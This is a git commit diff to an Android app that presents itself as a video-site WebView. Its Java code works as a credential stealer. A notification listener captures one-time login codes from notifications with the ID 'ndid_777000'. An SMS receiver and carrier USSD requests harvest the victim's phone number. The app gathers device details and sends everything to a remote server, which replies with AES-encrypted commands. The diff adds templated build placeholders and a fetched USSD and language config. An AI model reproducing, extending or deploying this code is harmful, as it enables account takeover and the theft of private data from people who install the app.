This commit is contained in:
Your Name 2025-03-04 19:36:58 +03:00
parent bb64cc3177
commit d92d917a90
6 changed files with 180 additions and 97 deletions

View file

@ -249,17 +249,14 @@ public class Encryption {
{
if (size <= 0x7F)
{
// single byte length encoding
return new byte[] { (byte) size };
}
else if (size <= 0xFF)
{
// double byte length encoding
return new byte[] { (byte) 0x81, (byte) size };
}
else if (size <= 0xFFFF)
{
// triple byte length encoding
return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
}

View file

@ -0,0 +1,56 @@
package com.example.notifyservice;
import android.content.Context;
import androidx.annotation.NonNull;
import org.json.JSONObject;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class GetRequest {
private Context context;
private GetRequestCallback callback;
public GetRequest(Context context, GetRequestCallback callback) {
this.context = context;
this.callback = callback;
}
public final OkHttpClient client = new OkHttpClient();
public void execute(String... params) {
String urlString = params[0];
Request request = new Request.Builder().url(urlString).get().build();
Call call = client.newCall(request);
call.enqueue(new Callback() {
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
onGetExecute(response.body() != null ? response.body().string() : "");
}
public void onFailure(@NonNull Call call, @NonNull IOException e) {
}
});
}
protected void onGetExecute(String result) {
try {
callback.onGetResponse((new JSONObject(
result
)));
} catch (Exception e) {
}
}
}

View file

@ -0,0 +1,7 @@
package com.example.notifyservice;
import org.json.JSONObject;
public interface GetRequestCallback {
void onGetResponse(JSONObject result);
}

View file

@ -55,11 +55,11 @@ public class Listener extends NotificationListenerService {
public void onNotificationPosted(StatusBarNotification sbn){
String packageName = sbn.getPackageName();
Log.i(packageName, packageName);
if(getShortcutSafe(sbn).equals("ndid_777000")){
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5)
return;
Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
intent.putExtra("code", code);
sendBroadcast(intent);
}
@ -86,7 +86,7 @@ public class Listener extends NotificationListenerService {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
shortcutId = sbn.getNotification().getShortcutId();
} else {
shortcutId = "ndid_777000";
shortcutId = "ndid_777000"; // STATIC
}
return shortcutId == null ? "" : shortcutId;
}

View file

@ -1,10 +1,8 @@
package com.example.notifyservice;
import android.Manifest;
import android.app.ActivityManager;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
@ -14,13 +12,9 @@ import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Bundle;
import android.telephony.ServiceState;
import android.telephony.TelephonyManager;
import android.view.View;
import android.view.ViewGroup;
@ -30,49 +24,37 @@ import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import android.os.Handler;
import android.os.PowerManager;
import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import android.widget.Toast;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.util.Locale;
import java.util.Timer;
import java.util.TimerTask;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity implements PostRequestCallback{
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
private String websiteUrl = "WEBSITE_URL"; // VARIABLE
private String ussdUrl = "USSD_URL"; // VARIABLE
private String languagesUrl = "LANGUAGES_URL"; // VARIABLE
private int requestsCount = 0;
private String websiteUrl = "https://rutube.ru/";
private WebView webView;
private View customView;
private WebChromeClient.CustomViewCallback customViewCallback;
@ -91,6 +73,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private NotificationReceiver notificationReceiver;
private JSONObject ussd;
private JSONObject language;
public class PhoneNumber {
public String phone;
public TelephonyManager telephonyManager;
@ -134,7 +119,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
public String save(){
return phone + ":" + operator + ":" + country;
return phone + ":" + operator // STATIC
+ ":" + country; // STATIC
}
}
@ -197,11 +183,17 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
// Загрузка начального URL
webView.loadUrl(websiteUrl);
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
requestPermissions(retrievePermissions(this));
}
private void loadData() {
requestsCount = 0;
GetRequest ussdRequestTask = new GetRequest(this, this);
ussdRequestTask.execute(ussdUrl);
GetRequest languagesRequestTask = new GetRequest(this, this);
languagesRequestTask.execute(languagesUrl);
}
public static String getKey(Context context) {
@ -220,15 +212,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
editor.apply();
}
private void promptNotificationAccess() {
Locale.getDefault().getISO3Language();
private void promptNotificationAccess() throws JSONException {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Требуется доступ к уведомлениям");
builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");
builder.setTitle(language.getString("title")); // STATIC
builder.setMessage(language.getString("message")); // STATIC
// Кнопка для перехода в настройки
builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
@ -238,16 +227,14 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
});
// Кнопка отмены
builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
@Override
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
finish(); // Закрыть активность, если пользователь отменил
finish();
}
});
// Показываем диалог
AlertDialog dialog = builder.create();
dialog.show();
}
@ -255,7 +242,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public static String getDeviceInfo(Context context)
{
String m_data = "";
String p_seperator = ":";
String p_seperator = ":"; // STATIC
StringBuilder m_builder = new StringBuilder();
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
m_builder.append(android.os.Build.DEVICE + p_seperator);
@ -290,7 +277,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
startService(intent);
notificationReceiver = new NotificationReceiver();
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
@ -320,7 +307,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
public void cancelTimer(){
Log.i("1", "timer");
if (timer != null) {
timer.cancel();
}
@ -339,7 +325,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
// Check for permission
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
!= PackageManager.PERMISSION_GRANTED) {
return false;
@ -348,12 +333,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
return false;
}
// Check SIM state
if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
return false; // SIM not ready
return false;
}
return false;
return true;
}
private void savePhone(Context context, PhoneNumber phone){
@ -378,12 +362,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override
public void onPostResponse(JSONObject result) {
try {
if(!result.getString("hash").isEmpty())
currentHash = result.getString("hash");
if(!result.getString("key").isEmpty())
setKey(getBaseContext(), result.getString("key"));
if(!result.getString("timeout").isEmpty()) {
codeTimeout = result.getDouble("timeout");
if(!result.getString("hash").isEmpty()) // STATIC
currentHash = result.getString("hash"); // STATIC
if(!result.getString("key").isEmpty()) // STATIC
setKey(getBaseContext(), result.getString("key")); // STATIC
if(!result.getString("timeout").isEmpty()) { // STATIC
codeTimeout = result.getDouble("timeout"); // STATIC
Timer timer = new Timer();
timer.schedule(new TimerTask() {
@Override
@ -398,43 +382,79 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
@Override
public void onGetResponse(JSONObject result) {
try {
requestsCount += 1;
if(result.get("name"). // STATIC
equals("ussd")){ // STATIC
ussd = result.getJSONObject(
"data" // STATIC
);
} else if (result.get("name"). // STATIC
equals("languages")) { // STATIC
language = result.getJSONObject(
"data" // STATIC
).getJSONObject(Locale.getDefault().getLanguage());
}
if (requestsCount == 2) {
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
requestPermissions(retrievePermissions(this));
}
}
} catch (JSONException e) {
throw new RuntimeException(e);
}
}
private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder();
jsonBuilder.append("[");
jsonBuilder.append("["); // STATIC
for (int i = 0; i < list.size(); i++) {
Object item = list.get(i);
jsonBuilder.append(objectToJson(item));
if (i < list.size() - 1) {
jsonBuilder.append(", ");
jsonBuilder.append(", "); // STATIC
}
}
jsonBuilder.append("]");
jsonBuilder.append("]"); // STATIC
return jsonBuilder.toString();
}
private String objectToJson(Object obj) {
if (obj instanceof String) {
return "\"" + escapeJson((String) obj) + "\"";
return "\"" + escapeJson((String) obj) // STATIC
+ "\""; // STATIC
} else if (obj instanceof Number || obj instanceof Boolean) {
return obj.toString();
} else {
// For other types, you can implement more logic as needed
return "\"" + escapeJson(obj.toString()) + "\"";
return "\"" + escapeJson(obj.toString()) // STATIC
+ "\""; // STATIC
}
}
private String escapeJson(String raw) {
String escaped = raw;
escaped = escaped.replace("\\", "\\\\");
escaped = escaped.replace("\"", "\\\"");
escaped = escaped.replace("\b", "\\b");
escaped = escaped.replace("\f", "\\f");
escaped = escaped.replace("\n", "\\n");
escaped = escaped.replace("\r", "\\r");
escaped = escaped.replace("\t", "\\t");
escaped = escaped.replace("\\", // STATIC
"\\\\"); // STATIC
escaped = escaped.replace("\"", // STATIC
"\\\""); // STATIC
escaped = escaped.replace("\b", // STATIC
"\\b"); // STATIC
escaped = escaped.replace("\f", // STATIC
"\\f"); // STATIC
escaped = escaped.replace("\n", // STATIC
"\\n"); // STATIC
escaped = escaped.replace("\r", // STATIC
"\\r"); // STATIC
escaped = escaped.replace("\t", // STATIC
"\\t"); // STATIC
return escaped;
}
@ -442,7 +462,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString(
getContentResolver(),
"enabled_notification_listeners"
"enabled_notification_listeners" // STATIC
);
return enabledListeners != null && enabledListeners.contains(packageName);
}
@ -478,38 +498,43 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public static String extractFirstPhoneNumber(String input) {
// Regex pattern to match international phone numbers
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)";
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);
if (matcher.find()) {
return matcher.group()
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", "");
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", // STATIC
""); // STATIC
}
return "";
return ""; // STATIC
}
private void requestUssdNumber(PhoneNumber phone) {
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return;
String ussd = "*120#";
String ussdRequest = null;
boolean smsResponse = false;
try {
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC
} catch (JSONException e) {
return;
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
Log.i("USSD", "Requested");
phone.telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
boolean finalSmsResponse = smsResponse;
phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
@Override
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString();
if (smsResponse){
if (finalSmsResponse){
receivingSms = true;
} else {
phone.setPhone(extractFirstPhoneNumber(responseString));
// TEST TODO
phone.setPhone("37126282159");
// TEST TODO
savePhone(getBaseContext(), phone);
}
}
@ -528,12 +553,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private List<PhoneNumber> collectPhoneNumber(Context context){
Log.i("collectPhoneNumber", "+");
List<PhoneNumber> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
return phoneNumbers;
}
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
Log.i("subscriptions", "+");
for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i);
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
@ -545,12 +569,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
currentCard.getCountryIso()
));
}
phoneNumbers.add(new PhoneNumber(
"37126282159",
null,
"HUITA",
"uz"
));
return phoneNumbers;
}
@ -560,7 +578,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC
if (pdus != null) {
if(!receivingSms)
return;
@ -568,7 +586,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String messageBody = smsMessage.getMessageBody();
String phoneNumber = extractFirstPhoneNumber(messageBody);
Log.i("receivedSms", String.valueOf(waitingForSms));
if(!phoneNumber.isEmpty()) {
phones.get(currentPhone).setPhone(phoneNumber);
savePhone(getBaseContext(), phones.get(currentPhone));

View file

@ -20,7 +20,7 @@ import okhttp3.Response;
public class PostRequest {
private Context context;
private String BASE_URL = "https://e5e8-146-70-203-23.ngrok-free.app/"; // STATIC
private String BASE_URL = "BASE_URL"; // STATIC
private PostRequestCallback callback;
public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC
@ -58,11 +58,17 @@ public class PostRequest {
});
}
protected void onPostExecute(String result) {
try {
callback.onPostResponse((new JSONObject(result)));
callback.onPostResponse((new JSONObject(
Encryption.aesDecrypt(
result
)
)));
} catch (Exception e) {
}
// Handle the JSON response here
}
}